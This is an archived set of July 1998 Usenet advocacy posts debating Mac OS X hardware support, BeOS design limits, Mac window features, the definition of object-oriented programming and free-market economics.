sortof amusing that because BeOS doesn't provide window backing store
you wind up having to have an extra thread in the app_server if you
want to do it yourself. Somehow that doesn't seem very 'efficient' to
me.
It seems like a reasonable compromise would be for a thread to get
allocated only if there is a BView attached, and to have the thread go
away when it's removed. Then you could have the benefits of having as
many BBitmaps as you want while still being able to use the BeOS
drawing primitives.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 98 18:08:57 GMT
Organization: QMS
Message-ID: <6p2lck$6q8$2@news01.deltanet.com>
References: <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net> <see-below-2007981959240001@dynamic53.pm04.mv.best.com> <id_est-2007982332240001@192.168.1.3>
In article <id_est-2007982332240001@192.168.1.3>, id_est@interport.net (tse_di) wrote:
>In article <see-below-2007981959240001@dynamic53.pm04.mv.best.com>,
>see-below@not-my-address.com (Matthew Vaughan) wrote:
>
>> But this "it absolutely won't run on anything except a G3" when they were
>> selling brand new 9600/350s even in 1998,
>
>Who said "it absolutely won't run on anything except a G3"?
I encourage you to join the Rhapsody Admin list. While the support in
Rhapsody does not map directly to support in OSX, it is a very
important sign, given that the fundemental code for both of them is
going to have to be quite similar. Further, unless Apple has lost
its mind, they are going to share as much low level code as possible
between the two.
>What I heard and engineer say (at an OS seminar at MacWorld) was that they
>weren't working on anything but G3 support at the moment and couldn't
>promise that it would run on on older hardware.
> This is quite different than "it absolutely won't run on anything
>except a G3"
On said list, engineers have pointed out a truism - if they do not
work to support a machine, then Rhapsody will likely not work, as they
are changing many things, and some of those things are likely to be
fatal. Ergo, not working on that support is equivalent to saying that
it likely will not work. The engineers in question cannot work on
thngs that they are not told to, as they are very time constrained.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Mon, 20 Jul 1998 10:11:08 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R2007981011080001@news.enetis.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com>
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In article <6ouffm$jqs$1@news10.ispnews.com>, Earl Malmrose
<malmrose@nospam.jetcity.com> wrote:
> kcd@babylon5.jumpgate.com (Kenneth C. Dyke) :
> > And on the BeOS front, Be still seems to have a long way to go to build
> > an OS that you can't walk up to and hang in about 30 seconds -- without
> > even writing some nasty code. And this from a 'bug' that was reported
> > as long ago as DR8.2 I think, and got marked as 'will not fix'. (In
> > case anyone cares, this is related to the fact that the application
> > server in BeOS uses one thread per window or offscreen bitmap, and
> > threads in BeOS currently have a fixed stack size -- app_server
> > eventually runs out of stack space for threads). Any modern OS that
> > will hang if the user opens 'too many' windows is in need of some
> > serious help.
>
> That's not a bug, its a limitation, as ALL OSes have. BTW, how many hundred
> windows does it take? Doesn't seem like a valid complaint, now does it?
If the OS dosn't allow you to open any more windows, then it's a
limitation. If the OS hangs due to opening too many windows, then it's a
bug.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
Date: Tue, 21 Jul 1998 10:21:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Message-ID: <joe.ragosta-2107981021270001@wil78.dol.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0> <6p24r7$sfm$1@fir.prod.itd.earthlink.net>
In article <6p24r7$sfm$1@fir.prod.itd.earthlink.net>, "Pinochet"
<dont!graywant!home!@spam!sprinthere!mail.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <6p1l6e$11l$1@news2.ispnews.com>, Earl Malmrose
> ><malmrose@nospam.jetcity.com> wrote:
>
> >> > Well, you can't set the swap to *less* than that, although if you
> >>>physically don't have that much space on your BeOS partition it >>might
> use less.
>
> >> "might use less" in actuality is "doesn't need any". If there isn't
> >>enough free space for the minimum size swap file, no swap file is >>used
> at all. A swap file is not required. And the minimum swap size >>varies
> depending on how much physical ram there is. I have 128MB, >>and the
> minimum swap size is 1.5x. It would be nice to make it >>smaller, but
> that's a pretty small gripe.
>
> >Hmmm. I notice that when someone wants to criticize Mac OS for its >fixed
> VM swap file, it's a very bad thing. But with BeOS, it's a pretty >small
> gripe.
>
>
> You have noted Earl Malmrose making that complaint about the MacOS? If so,
> then your statement is valid, otherwise you're just blowing hot air. Not
> that the BeOS swap file is really all that fixed, it just can't
> be made smaller than 1.5x the memory size in the configuration(though
> it can be smaller than that you just have to fight the system). It should
> be fixed though, since the solution wouldn't be that hard, would it?
I don't know how hard it is.
And, no, I don't recall Earl making that complaint, but I never said that
he did.
The point is that it's the typical situation where no matter what Apple
does, they're going to be criticized.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: Sat, 18 Jul 1998 19:51:28 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1807981951280001@news.enetis.net>
References: <6oqr65$ept$1@supernews.com>
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In article <6oqr65$ept$1@supernews.com>, a l t e n ber@nashville.com
(delete spaces, spam trick) wrote:
(snip)
> --
> ======================================================================
> Lee Altenberg, Ph.D.
The MacOS already allows superb functionality in this regard. MacOS 8's
tabbed windows allows you to minimize any finder window as an icon-like a
tab at the bottom of the screen. These tabs are more functional than icons
becuase you can drag to them and open them without opening the window all
the way.
MacOS also features what they call "window shade". Double clicking the
title bar of any window minimizes it to the title bar allowing you to
display litteraly hundreds of windows in perfect view right on the desktop.
Since the title bar still exists, these minimized windows feature all of
the functionality of a full fledged window becuase the close, collapse, and
maximize buttons are still present.
Finaly MacOS has featured for a while the option to Command Click the title
name of any finder window. This brings up a list of every open folder in
that window's path, allowing you one click random access to the folders
beneath it.
Since Rhapsody (aka. MacOSX Server) is based on OpenStep, it is very likely
that Apple has or will include NeXT functionality along with the features
I've mentioned above that already exist in today's MacOS. Even the
September update, MacOS 8.5, will feature an applications dock and tear
away menus... obviously inspired by OpenStep. And of course third party
developers will continue to take advantage of the open nature of the MacOS
to develope additions and enhacments that will continue to make the so
called, "Macintosh Experience", the best on Earth. :)
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 98 18:21:15 GMT
Organization: QMS
Message-ID: <6p2m3h$6q8$3@news01.deltanet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <id_est-2007982313050001@192.168.1.3> <35B3AFAA.16BA@earthlink.net>
In article <35B3AFAA.16BA@earthlink.net>, skellener@earthlink.net wrote:
>tse_di wrote:
>> The distinction is that the chips that control things like the the SCSI,
>> PCI, ADB, Video, memory and other things ARE different.
>But Apple made the damn things! If anyone can support these things its
>Apple! It's not like getting Dell to right some driver for a HP...It's
>their own design!
There is no question that they _can_ do it. The question is whether
it is worth it for them to do so. Given what NS used to run on, they
could also do a port to the 040 boxes if they wanted to. Few would
think that a good idea.
There is information that we lack lack - an estimate of the amount of
time it would take to bring up Rhapsody on a given machine, the time
needed to find and fix all of the bugaboos, and the time it would take
to test the resulting box. I hope Apple has this information
carefully written up, so that when people like me complain about the
lack of support for the clone machines, they can decide whether it is
worth it.
I am hoping that enough of us with older machines exist to form a
reasonable market. I suspect it is the case, given that many of us
bought machines recently, and so are not in the same category as
those whose last purchase was more than four or five years ago.
As a side issue, even people who might buy a new machine to run
OSX well might well want to send the old amchine to someone, and
will probably want to put the most recent OS on it.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 21 Jul 1998 10:44:05 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6p1rdl$g7c$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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lars.farm@ite.mh.se (Lars Farm) writes:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> lars.farm@ite.mh.se (Lars Farm) writes:
>>
>> >Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> >> It differs in that there is no reference to ADTs. More importanty,
>> >> there is no visible class as an intrinisc object property. Externally
>> >> visible classification is only via observed behavior, i.e. the ability
>> >> to respond to certain messages (grouped into named protocols/interfaces).
>What do you mean by "observed behaviour"? I never said so explicitly,
>but I define an operation (behaviour) by its pre- and postconditions.
[..]
>Remember that I asked you to describe the basic idea, the essential core
>of OO. If what you describe isn't there then it is not OO.
Wrong. Anything I don't describe is not *necessary* for OO. The fact
that it is not necessary does not mean that it is forbidden. Please
put away the straw-man.
>Your first reply didn't state your requirement very clearly. Anyway, I
>missed it. One might interpret your clarification as:
Nope, the requirements were actually very clear and happen to be
minimal.
> Class can not/must not be considered for method matching.
You said that, I didn't. I didn't say anything about method
matching or class and the minimal definition I gave does not
require saying anything about it. It's called an implementation
detail.
> It suffices that an object can perform the operation, that
> it can receive the message.
Yes.
>In practice, this requires a dynamic language. So it is impossible to
Dynamic languages have an easy time implementing these minimal
definitions, yes. Static languages usually augment the minimal
model with additional restrictions in order to work. I don't
know wether this is provably necessary.
>write an OO program in Eiffel? Have you told Bertrand Meyer?
It is possible to write programs in Eiffel that use a subset of the
possibilities of OO. I would say that the subset is large enough to
call it OO, but the things that are missing are significant. Quite
frankly, my opinion of Bertrand Meyer is not very high. Eiffel is
a good language with many useful ideas and insights, but he drastically
oversells it, and his reaction to obvious defects is absolutely
inconsistent.
Anyway, doesn't Eiffel include a fully dynamic runtime?
>Let's just say that I disagree. I consider dynamism orthogonal to OO.
1. Dynamism is a by-product of a minimal definition of OO.
2. It is possible to restrict OO somewhat to remove the
dynamic requirement.
3. The only way to get dynamism as an orthogonal feature is to
use this restricted form of OO as the basic definition.
4. I prefer the unrestricted, minimal definition as the base-definition.
>Depending on your preferences and domain, it may or may not be a good
>language property,
No problem with the essence of this: in certain situations it is
desirable to use a more restricted form of OO in order to gain
other benefits.
>but this is not specific to OO and not something that
>distinguishes OO from other ways of organizing programs.
You seem to be looking at *features* of a language and especially
for the one feature that distinguishes OO from non OO with 100%
certainty. Sorry, no such animal. Anyway, you asked me for a
minimum requirements for OO, not for one distinguishing feature.
>There are plenty of non-OO dynamic languages.
Who said that dynamism is sufficient for OO? It is not even necessary.
It is just that OO without dynamism is a restricted form of OO.
>Since you've referred to Alan Kay twice, I assume this is a requirement
>put forward by him.
No. (1) it is not an additional requirement (2) I was paraphrasing
RM-ODP. (maybe badly, check for yourself:
http://www.iso.ch:8000/RM-ODP/part2/8.html)
>Meyer has Garbage Collection as one requirement for OO (what does
>Alan Kay say about GC?).
Nothing specifically from Alan Kay here, but look at the article
"Design Principles Behind Smalltalk" in the August 1981 issue of
Byte. Note that this predates any of Bertrands rantings by quite
a bit.
[..]
>Also, if the granularity of matching is the method then one might argue
>that the basic building block is the method, not the object. You get
>something more like method oriented programming or using a more common
>term - procedural programming. Interesting ;-)
Interesting fallacy, yes. ;-) Do you really want me to dissect it?
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 11:25:36 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2107981125360001@sf-pm5-14-78.dialup.slip.net>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162> <joe.ragosta-2107980840590001@0.0.0.0>
In article <joe.ragosta-2107980840590001@0.0.0.0>, joe.ragosta@dol.net
(Joe Ragosta) wrote:
> In article <B1D93BDE-E7B9B@206.165.43.162>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Donald Brown <don.brown@cesoft.com> said:
> >
> > >OS-X is a gamble. It's a hell of a project to pull off. The survival of
> > >the company depends on it.
> >
> >
> >
> > Bull. OS-X is Rhapsody with a new kernel running on a single family of
> > processors and motherboards with a few new low-level APIs running on top of
> > that kernel (most/most of which are the low-level APIs that the Yellow Box
> > framework itself will be using).
>
> And an entirely new set of APIs (Carbon).
No, its not an entirely new set of APIs. Carbon replaces at a maximum
about 25% of the APIs used in the old Mac system. That means that more
than 75% of them are the same. In the case of many applications, only
10% or less of the code has to be changed in order to support the new
APIs
>
> And a new driver architecture.
Don't know for sure, but I suspect so.
George Graves
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 11:33:46 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-140.phx.primenet.com
Message-ID: <not-2107981133460001@ip-26-140.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se>
NNTP-Posting-Date: 21 Jul 1998 18:31:56 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> > Whatever you did, it did not run well.) This is called capitalism and
> > profit making. MACS ARE NOT A RELIGION. Repeat as much as necessary. APPLE
> > OWES YOU *NOTHING*. Just because you bought a Mac doesn't mean you are
> > part of some secret tribe with special priveleges.
>
> No, but Apple promised that my machine would run their next generation
> OS. Now it won't.
I'm really curious about this "promise" folks seems to be citing again and
again. I've been a Mac user for 9 years and I never got such a promise
with my hardware when I bought it. I bought a 7500 just before Rhapsody
was announced, and by every indication Mac OS X will probably run on it.
Apple never "promised" me anything about next-generation OS, other than
one would be written some day. Can anyone find a statement, in wiritng,
sent to all Mac users, that said "these xxx models will be supported with
our future next-generation OS?"
Well, then, how can Apple break a promise it never made?
I'm not blindly pro-Apple. I was extremely pissed when Copland was killed,
and not thrilled when Rhapsody was announced (it sounded too much like
NeXT to me, a decent OS with a horriffic GUI and no software). But all
these people running around and screaming "betrayal" really need to step
back and think about this. "Promised?" Yet another example of how surreal
people's expectations of computers and computing are. If you had a
*contract*, being pissed would be entirely justified. If you had a signed
statement saying XXX and then Apple refuses to provide XXX then you would
have every right to sue. At the very most Apple built up your hopes just a
little and then dissappointed you--but that is far from a broken promise
or a betrayal.
Bill Gates has broken hundreds of promises to his users--you don't see a
grassroots rebellion developing, do you? The last three presidents of the
US combined broke almost every single campaign promise they made, yet we
haven't impeached, assasinated or indicted them yet--we even re-elected 2
of them to second terms. Why are your expectations so different with
Apple? Why do you set yourself up for a fall, and then blame the other
guy?
> > > The truth in the matter is that Apple simple has gotten greedy, and I'm
> > > pretty sure it's going to backfire on them.
> >
> > Oh yeah. Tell it to the stock price, baby. I bought Apple stock at *12*,
> > dammit--now it is $36!!
> We'll se where it's at in '99 when Apple has an even smaller marketshare
> due to shafting their loyal users.
If you're such a doomsayer, why don't you get out right now? 400 MHz PIIs
are going for $3000 right now, absolutely loaded. Go to it. Enjoy. Perhaps
then you finally realize why you stuck with Apple for so long previously.
> > > Because 8.1 is so obsolete it isn't even funny?
> >
> > That's funny, I happen to know of a major newsweekly with a circulation of
> > 450,000 that rakes in $6 to $8 million a year in profit. They write,
> > produce, seperate, edit and print it all on Macs, and make lots and lots
> > of money.
> >
> > And they are all running 7.6.1.
> Oh yeah, and in Africa some tribes cook their food over open fire and
> newertheless seems to be doing allright.
Thanks for making my point for me. Having the latest and greatest is a
*choice*--not a right or a priveledge. You have to pay to play, people!
And if Apple wants to break their own rules, so be it--that is the way the
real world works. The phrase "bleeding edge" isn't really a joke, now, is
it?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AEF495.EEEF2844@nstar.net> <slrn6r6m6e.9fc.sal@panix3.panix.com> <35B42512.B4309896@nstar.net> <35b437a1.0@news.depaul.edu> <6p2hpj$rcg$1@nnrp1.dejanews.com>
Message-ID: <35b4e118.0@news.depaul.edu>
Date: 21 Jul 98 18:42:32 GMT
samueljackson@my-dejanews.com wrote:
> In article <35b437a1.0@news.depaul.edu>,
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > Michael Peck <mjpeck@nstar.net> wrote:
> >
> > > Lawsuits are the byproduct of a system wherein these voluntary
> > > relationships cannot exist because of regulatory nooses, and offended
> > > parties are forced to sue for damages rather than practice vigilance and
> > > seek other suppliers as a matter of foresight when necessary.
> >
> > ROTFL! What a simple, black-and-white world you live in, Michael.
> >
> > A world where businesses are happy to lift the kimono to all comers,
> > where all parties are equals,
> Cute strawman. I never claimed anything of the sort. You seem like an
> articulate sort of man; I'm sure you could just devastate my arguments
> without resorting to airy soliloquys on nothing at all. Give it a shot.
Your arguments assume that people behave in unrealistic ways. Period.
> > where money and greed have no place,
>It is precisely financial self-interest that ensures the proper working of the
>free market.
In a utopia, perhaps. Financial self-interest can also distort the
working of the free market.
> [cut]
> > Sorry, the real world just isn't that simple.
> I daresay it isn't.
Really? This doesn't quite mesh with your simplistic beliefs.
>Which begs the question: why did you bring it up?
> > Of course, it's much
> > easier when you've got a set of rules memorized, even if they
> > aren't practical.
> And it's certainly much easier for you, I'm sure, when you've got a sarcastic
> tone memorized, even if it doesn't have anything of value to communicate.
> Were you going to get around to making a point or providing some information,
> or have I been the subject of another Hendry pout?
Are you going to demonstrate that your ideals are practical?
> > > Despots who compete for favor with a skeptical and vigilant public?
> >
> > A public which, presumably, has access to perfect information about
> > all topics.
> "Perfect information"? "Perfect" is a word so beloved to the anointed; it can
> mean just about anything they like it to mean, and describe any ideal which
> they hold up as worthy of public pursuit. At the same time, it's useful when
> defending the colossal blunders of public action ("nobody's perfect", "in a
> perfect world...").
> At any rate, nobody ever had to demonstrate that a system was "perfect" to
> claim that it performed as described. I don't think anyone knows what a
> "perfect" system, or even a "perfect" component of said system, would look
> like.
Evidently you don't understand the concept of 'perfect information'. It's
a theoretical economic construct, which like a libertarian utopia doesn't
exist in the real world.
The point is that you need information with which to make these
judgements, and that companies are not likely to provide it to
anyone who asks. At best it'll be extremely expensive. A
'vigilant public' fed lies and kept in the dark isn't going to
be able to protect themselves very well.
> > (And time to evaluate it all.) A public served by
> > corporations which do not lie and/or conceal information,
> "Conceal information". This is great stuff; I took college courses on how to
> speak in loaded terms, but I never got this good before I gave up on the
> whole thing as fundamentally dishonest. For instance, suppose you were to ask
> me what I feed my children. To characterize my refusal to answer as
> "concealing information" might communicate the wrong message to the wrong
> sort of people. If you were sufficiently ambiguous and suggestive, you might
> even be able to get CPS to show up on my doorstep. I'm sure you could be
> quite proud of having served the public thusly.
And this is relevant, how, exactly?
> > corporations run by saints for the good of the people.
> [chuckle]
So corporations have *not* acted in ways that injured the public,
solely for financial gain?
> > And this utopia is to be found where, exactly? Has such a
> > society ever existed? Or is it as illusory as the world
> > where communism works?
> Are you asking me? It's _your_ made-up world, go find it yourself, silly!
*You* find it, Michael. It's the world where libertarianism works.
> > The more likely situation is 'despots who wield money and force
> > against the cowed and weak public while enriching themselves
> > and their cronies'.
> Ah, the Macchiavellian ideal. What was that book called, something like "The
> President" or something? Maybe it was "The Prince"...
?
Would you care to explain how this *wouldn't* happen in a libertarian
state?
--
"... and subpoenas for all." - Ken Starr
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 07:29:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p1g0i$df7$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <MPG.101d9ceeeab350e89899d4@news.supernews.com>
In article <MPG.101d9ceeeab350e89899d4@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> If you were convinced that Apple had a 50% chance of completely going
> down the tubes if they try to expand OS-X to cover all PowerMacs, would
> you ask them to do so?
No, I wouldn't because I care about Apple's survival. But really, it's
Apple's job to go the extra mile to build customer loyalty not my job to
understand why they can't deliver on their promises. S
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 18:54:55 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6p2o5v$pr9$2@news5.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com> <joe.ragosta-2107980827300001@0.0.0.0>
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NNTP-Posting-Date: 21 Jul 1998 18:54:55 GMT
joe.ragosta@dol.net (Joe Ragosta) :
> I wouldn't be surprised if Be is in a hurry to get a final, working OS out
> the door. A lot of issues are going to get pushed aside until the major
> issues are resolved and the OS is ready for everyday consumer use.
What major issues?
--
--Woohoo, this message posted from BeOS!
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 18:54:59 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6p2o63$pr9$3@news5.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0> <6p24r7$sfm$1@fir.prod.itd.earthlink.net> <joe.ragosta-2107981021270001@wil78.dol.net>
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joe.ragosta@dol.net (Joe Ragosta) :
>
> And, no, I don't recall Earl making that complaint, but I never said that
> he did.
Well, since you brought MacOS into the discussion, I'd be glad to continue
with it. VM swap file size is fixed under BeOS. But since BeOS boots in 10
seconds, its much quicker to adjust than MacOS. Also, BeOS's memory
protection isn't dependant on VM being on, like MacOS's does. Turn MacOS's VM
off, and the teensy-weensy bit of memory protection you once had flies out
the window.
--
--Woohoo, this message posted from BeOS!
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 21 Jul 1998 14:56:31 GMT
Organization: University of Washington, Seattle
Message-ID: <6p2a6v$d0g$1@nntp6.u.washington.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu> <6p0pif$bnq$1@nnrp1.dejanews.com>
NNTP-Posting-User: gwangung
In article <6p0pif$bnq$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
>In article <6p0aht$mrk$1@nntp6.u.washington.edu>,
> gwangung@u.washington.edu (R. Tang) wrote:
>
>> The part people keep forgetting to mention is under what time
>> frame using what kind of resources.
>
>Again, why should I care what kind of resources it requires.
I dunno; do you ahve an IQ over room temperature?
Apple said that
>I would get to run their "next generation" operating system on my 6100.
They never said this.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: Mike Trivisonno <trivison@nortel.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Tue, 21 Jul 1998 13:46:04 -0500
Organization: Nortel
Message-ID: <35B4E1EC.B5AE544D@nortel.com>
